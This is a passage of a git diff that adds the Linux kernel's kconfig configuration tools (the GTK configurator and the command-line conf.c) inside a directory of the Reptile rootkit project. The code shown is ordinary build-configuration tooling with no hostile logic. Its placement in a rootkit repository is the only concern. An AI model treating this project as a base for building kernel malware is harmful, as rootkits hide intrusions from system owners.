(!gtk_tree_model_get_iter(model2, &iter, path)) + return; + + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + sym = menu->sym; + + gtk_tree_model_get(model2, &iter, COL_VALUE, &old_def, -1); + new_def = new_text; + + sym_set_string_value(sym, new_def); + + update_tree(&rootmenu, NULL); + + gtk_tree_path_free(path); +} + +/* Change the value of a symbol and update the tree */ +static void change_sym_value(struct menu *menu, gint col) +{ + struct symbol *sym = menu->sym; + tristate newval; + + if (!sym) + return; + + if (col == COL_NO) + newval = no; + else if (col == COL_MOD) + newval = mod; + else if (col == COL_YES) + newval = yes; + else + return; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (!sym_tristate_within_range(sym, newval)) + newval = yes; + sym_set_tristate_value(sym, newval); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll + break; + case S_INT: + case S_HEX: + case S_STRING: + default: + break; + } +} + +static void toggle_sym_value(struct menu *menu) +{ + if (!menu->sym) + return; + + sym_toggle_tristate_value(menu->sym); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll +} + +static gint column2index(GtkTreeViewColumn * column) +{ + gint i; + + for (i = 0; i < COL_NUMBER; i++) { + GtkTreeViewColumn *col; + + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), i); + if (col == column) + return i; + } + + return -1; +} + + +/* User click: update choice (full) or goes down (single) */ +gboolean +on_treeview2_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + +#if GTK_CHECK_VERSION(2,1,4) // bug in ctree with earlier version of GTK + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); +#else + gtk_tree_view_get_cursor(view, &path, &column); +#endif + if (path == NULL) + return FALSE; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return FALSE; + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + col = column2index(column); + if (event->type == GDK_2BUTTON_PRESS) { + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + + if (ptype == P_MENU && view_mode != FULL_VIEW && col == COL_OPTION) { + // goes down into menu + current = menu; + display_tree_part(); + gtk_widget_set_sensitive(back_btn, TRUE); + } else if ((col == COL_OPTION)) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } + } else { + if (col == COL_VALUE) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } else if (col == COL_NO || col == COL_MOD + || col == COL_YES) { + change_sym_value(menu, col); + gtk_tree_view_expand_row(view, path, TRUE); + } + } + + return FALSE; +} + +/* Key pressed: update choice */ +gboolean +on_treeview2_key_press_event(GtkWidget * widget, + GdkEventKey * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + + gtk_tree_view_get_cursor(view, &path, &column); + if (path == NULL) + return FALSE; + + if (event->keyval == GDK_space) { + if (gtk_tree_view_row_expanded(view, path)) + gtk_tree_view_collapse_row(view, path); + else + gtk_tree_view_expand_row(view, path, FALSE); + return TRUE; + } + if (event->keyval == GDK_KP_Enter) { + } + if (widget == tree1_w) + return FALSE; + + gtk_tree_model_get_iter(model2, &iter, path); + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + if (!strcasecmp(event->string, "n")) + col = COL_NO; + else if (!strcasecmp(event->string, "m")) + col = COL_MOD; + else if (!strcasecmp(event->string, "y")) + col = COL_YES; + else + col = -1; + change_sym_value(menu, col); + + return FALSE; +} + + +/* Row selection changed: update help */ +void +on_treeview2_cursor_changed(GtkTreeView * treeview, gpointer user_data) +{ + GtkTreeSelection *selection; + GtkTreeIter iter; + struct menu *menu; + + selection = gtk_tree_view_get_selection(treeview); + if (gtk_tree_selection_get_selected(selection, &model2, &iter)) { + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + text_insert_help(menu); + } +} + + +/* User click: display sub-tree in the right frame. */ +gboolean +on_treeview1_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); + if (path == NULL) + return FALSE; + + gtk_tree_model_get_iter(model1, &iter, path); + gtk_tree_model_get(model1, &iter, COL_MENU, &menu, -1); + + if (event->type == GDK_2BUTTON_PRESS) { + toggle_sym_value(menu); + current = menu; + display_tree_part(); + } else { + browsed = menu; + display_tree_part(); + } + + gtk_widget_realize(tree2_w); + gtk_tree_view_set_cursor(view, path, NULL, FALSE); + gtk_widget_grab_focus(tree2_w); + + return FALSE; +} + + +/* Fill a row of strings */ +static gchar **fill_row(struct menu *menu) +{ + static gchar *row[COL_NUMBER]; + struct symbol *sym = menu->sym; + const char *def; + int stype; + tristate val; + enum prop_type ptype; + int i; + + for (i = COL_OPTION; i <= COL_COLOR; i++) + g_free(row[i]); + bzero(row, sizeof(row)); + + row[COL_OPTION] = + g_strdup_printf("%s %s", _(menu_get_prompt(menu)), + sym && !sym_has_value(sym) ? "(NEW)" : ""); + + if (opt_mode == OPT_ALL && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else if (opt_mode == OPT_PROMPT && + menu_has_prompt(menu) && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else + row[COL_COLOR] = g_strdup("Black"); + + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + row[COL_PIXBUF] = (gchar *) xpm_menu; + if (view_mode == SINGLE_VIEW) + row[COL_PIXVIS] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + case P_COMMENT: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + default: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + break; + } + + if (!sym) + return row; + row[COL_NAME] = g_strdup(sym->name); + + sym_calc_value(sym); + sym->flags &= ~SYMBOL_CHANGED; + + if (sym_is_choice(sym)) { // parse childs for getting final value + struct menu *child; + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) + && child->sym == def_sym) + def_menu = child; + } + + if (def_menu) + row[COL_VALUE] = + g_strdup(_(menu_get_prompt(def_menu))); + } + if (sym->flags & SYMBOL_CHOICEVAL) + row[COL_BTNRAD] = GINT_TO_POINTER(TRUE); + + stype = sym_get_type(sym); + switch (stype) { + case S_BOOLEAN: + if (GPOINTER_TO_INT(row[COL_PIXVIS]) == FALSE) + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + if (sym_is_choice(sym)) + break; + /* fall through */ + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + row[COL_NO] = g_strdup("N"); + row[COL_VALUE] = g_strdup("N"); + row[COL_BTNACT] = GINT_TO_POINTER(FALSE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + case mod: + row[COL_MOD] = g_strdup("M"); + row[COL_VALUE] = g_strdup("M"); + row[COL_BTNINC] = GINT_TO_POINTER(TRUE); + break; + case yes: + row[COL_YES] = g_strdup("Y"); + row[COL_VALUE] = g_strdup("Y"); + row[COL_BTNACT] = GINT_TO_POINTER(TRUE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + } + + if (val != no && sym_tristate_within_range(sym, no)) + row[COL_NO] = g_strdup("_"); + if (val != mod && sym_tristate_within_range(sym, mod)) + row[COL_MOD] = g_strdup("_"); + if (val != yes && sym_tristate_within_range(sym, yes)) + row[COL_YES] = g_strdup("_"); + break; + case S_INT: + case S_HEX: + case S_STRING: + def = sym_get_string_value(sym); + row[COL_VALUE] = g_strdup(def); + row[COL_EDIT] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + } + + return row; +} + + +/* Set the node content with a row of strings */ +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row) +{ + GdkColor color; + gboolean success; + GdkPixbuf *pix; + + pix = gdk_pixbuf_new_from_xpm_data((const char **) + row[COL_PIXBUF]); + + gdk_color_parse(row[COL_COLOR], &color); + gdk_colormap_alloc_colors(gdk_colormap_get_system(), &color, 1, + FALSE, FALSE, &success); + + gtk_tree_store_set(tree, node, + COL_OPTION, row[COL_OPTION], + COL_NAME, row[COL_NAME], + COL_NO, row[COL_NO], + COL_MOD, row[COL_MOD], + COL_YES, row[COL_YES], + COL_VALUE, row[COL_VALUE], + COL_MENU, (gpointer) menu, + COL_COLOR, &color, + COL_EDIT, GPOINTER_TO_INT(row[COL_EDIT]), + COL_PIXBUF, pix, + COL_PIXVIS, GPOINTER_TO_INT(row[COL_PIXVIS]), + COL_BTNVIS, GPOINTER_TO_INT(row[COL_BTNVIS]), + COL_BTNACT, GPOINTER_TO_INT(row[COL_BTNACT]), + COL_BTNINC, GPOINTER_TO_INT(row[COL_BTNINC]), + COL_BTNRAD, GPOINTER_TO_INT(row[COL_BTNRAD]), + -1); + + g_object_unref(pix); +} + + +/* Add a node to the tree */ +static void place_node(struct menu *menu, char **row) +{ + GtkTreeIter *parent = parents[indent - 1]; + GtkTreeIter *node = parents[indent]; + + gtk_tree_store_append(tree, node, parent); + set_node(node, menu, row); +} + + +/* Find a node in the GTK+ tree */ +static GtkTreeIter found; + +/* + * Find a menu in the GtkTree starting at parent. + */ +GtkTreeIter *gtktree_iter_find_node(GtkTreeIter * parent, + struct menu *tofind) +{ + GtkTreeIter iter; + GtkTreeIter *child = &iter; + gboolean valid; + GtkTreeIter *ret; + + valid = gtk_tree_model_iter_children(model2, child, parent); + while (valid) { + struct menu *menu; + + gtk_tree_model_get(model2, child, 6, &menu, -1); + + if (menu == tofind) { + memcpy(&found, child, sizeof(GtkTreeIter)); + return &found; + } + + ret = gtktree_iter_find_node(child, tofind); + if (ret) + return ret; + + valid = gtk_tree_model_iter_next(model2, child); + } + + return NULL; +} + + +/* + * Update the tree by adding/removing entries + * Does not change other nodes + */ +static void update_tree(struct menu *src, GtkTreeIter * dst) +{ + struct menu *child1; + GtkTreeIter iter, tmp; + GtkTreeIter *child2 = &iter; + gboolean valid; + GtkTreeIter *sibling; + struct symbol *sym; + struct menu *menu1, *menu2; + + if (src == &rootmenu) + indent = 1; + + valid = gtk_tree_model_iter_children(model2, child2, dst); + for (child1 = src->list; child1; child1 = child1->next) { + + sym = child1->sym; + + reparse: + menu1 = child1; + if (valid) + gtk_tree_model_get(model2, child2, COL_MENU, + &menu2, -1); + else + menu2 = NULL; // force adding of a first child + +#ifdef DEBUG + printf("%*c%s | %s\n", indent, ' ', + menu1 ? menu_get_prompt(menu1) : "nil", + menu2 ? menu_get_prompt(menu2) : "nil"); +#endif + + if ((opt_mode == OPT_NORMAL && !menu_is_visible(child1)) || + (opt_mode == OPT_PROMPT && !menu_has_prompt(child1)) || + (opt_mode == OPT_ALL && !menu_get_prompt(child1))) { + + /* remove node */ + if (gtktree_iter_find_node(dst, menu1) != NULL) { + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; /* next parent */ + else + goto reparse; /* next child */ + } else + continue; + } + + if (menu1 != menu2) { + if (gtktree_iter_find_node(dst, menu1) == NULL) { // add node + if (!valid && !menu2) + sibling = NULL; + else + sibling = child2; + gtk_tree_store_insert_before(tree2, + child2, + dst, sibling); + set_node(child2, menu1, fill_row(menu1)); + if (menu2 == NULL) + valid = TRUE; + } else { // remove node + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; // next parent + else + goto reparse; // next child + } + } else if (sym && (sym->flags & SYMBOL_CHANGED)) { + set_node(child2, menu1, fill_row(menu1)); + } + + indent++; + update_tree(child1, child2); + indent--; + + valid = gtk_tree_model_iter_next(model2, child2); + } +} + + +/* Display the whole tree (single/split/full view) */ +static void display_tree(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + enum prop_type ptype; + + if (menu == &rootmenu) { + indent = 1; + current = &rootmenu; + } + + for (child = menu->list; child; child = child->next) { + prop = child->prompt; + sym = child->sym; + ptype = prop ? prop->type : P_UNKNOWN; + + if (sym) + sym->flags &= ~SYMBOL_CHANGED; + + if ((view_mode == SPLIT_VIEW) + && !(child->flags & MENU_ROOT) && (tree == tree1)) + continue; + + if ((view_mode == SPLIT_VIEW) && (child->flags & MENU_ROOT) + && (tree == tree2)) + continue; + + if ((opt_mode == OPT_NORMAL && menu_is_visible(child)) || + (opt_mode == OPT_PROMPT && menu_has_prompt(child)) || + (opt_mode == OPT_ALL && menu_get_prompt(child))) + place_node(child, fill_row(child)); +#ifdef DEBUG + printf("%*c%s: ", indent, ' ', menu_get_prompt(child)); + printf("%s", child->flags & MENU_ROOT ? "rootmenu | " : ""); + printf("%s", prop_get_type_name(ptype)); + printf(" | "); + if (sym) { + printf("%s", sym_type_name(sym->type)); + printf(" | "); + printf("%s", dbg_sym_flags(sym->flags)); + printf("\n"); + } else + printf("\n"); +#endif + if ((view_mode != FULL_VIEW) && (ptype == P_MENU) + && (tree == tree2)) + continue; +/* + if (((menu != &rootmenu) && !(menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW))*/ + + /* Change paned position if the view is not in 'split mode' */ + if (view_mode == SINGLE_VIEW || view_mode == FULL_VIEW) { + gtk_paned_set_position(GTK_PANED(hpaned), 0); + } + + if (((view_mode == SINGLE_VIEW) && (menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW)) { + indent++; + display_tree(child); + indent--; + } + } +} + +/* Display a part of the tree starting at current node (single/split view) */ +static void display_tree_part(void) +{ + if (tree2) + gtk_tree_store_clear(tree2); + if (view_mode == SINGLE_VIEW) + display_tree(current); + else if (view_mode == SPLIT_VIEW) + display_tree(browsed); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + +/* Display the list in the left frame (split view) */ +static void display_list(void) +{ + if (tree1) + gtk_tree_store_clear(tree1); + + tree = tree1; + display_tree(&rootmenu); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree1_w)); + tree = tree2; +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + + +/* Main */ +int main(int ac, char *av[]) +{ + const char *name; + char *env; + gchar *glade_file; + + bindtextdomain(PACKAGE, LOCALEDIR); + bind_textdomain_codeset(PACKAGE, "UTF-8"); + textdomain(PACKAGE); + + /* GTK stuffs */ + gtk_set_locale(); + gtk_init(&ac, &av); + glade_init(); + + //add_pixmap_directory (PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps"); + //add_pixmap_directory (PACKAGE_SOURCE_DIR "/pixmaps"); + + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) + glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else + glade_file = g_strconcat(g_get_current_dir(), "/", av[0], ".glade", NULL); + + /* Conf stuffs */ + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'a': + //showAll = 1; + break; + case 'h': + case '?': + printf("%s \n", av[0]); + exit(0); + } + name = av[2]; + } else + name = av[1]; + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + + /* Load the interface and connect signals */ + init_main_window(glade_file); + init_tree_model(); + init_left_tree(); + init_right_tree(); + + switch (view_mode) { + case SINGLE_VIEW: + display_tree_part(); + break; + case SPLIT_VIEW: + display_list(); + break; + case FULL_VIEW: + display_tree(&rootmenu); + break; + } + + gtk_main(); + + return 0; +} + +static void conf_changed(void) +{ + bool changed = conf_get_changed(); + gtk_widget_set_sensitive(save_btn, changed); + gtk_widget_set_sensitive(save_menu_item, changed); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c new file mode 100644 index 0000000..d19944f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c @@ -0,0 +1,718 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv("KCONFIG_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + //zconfdump(stdout); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv("KCONFIG_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = 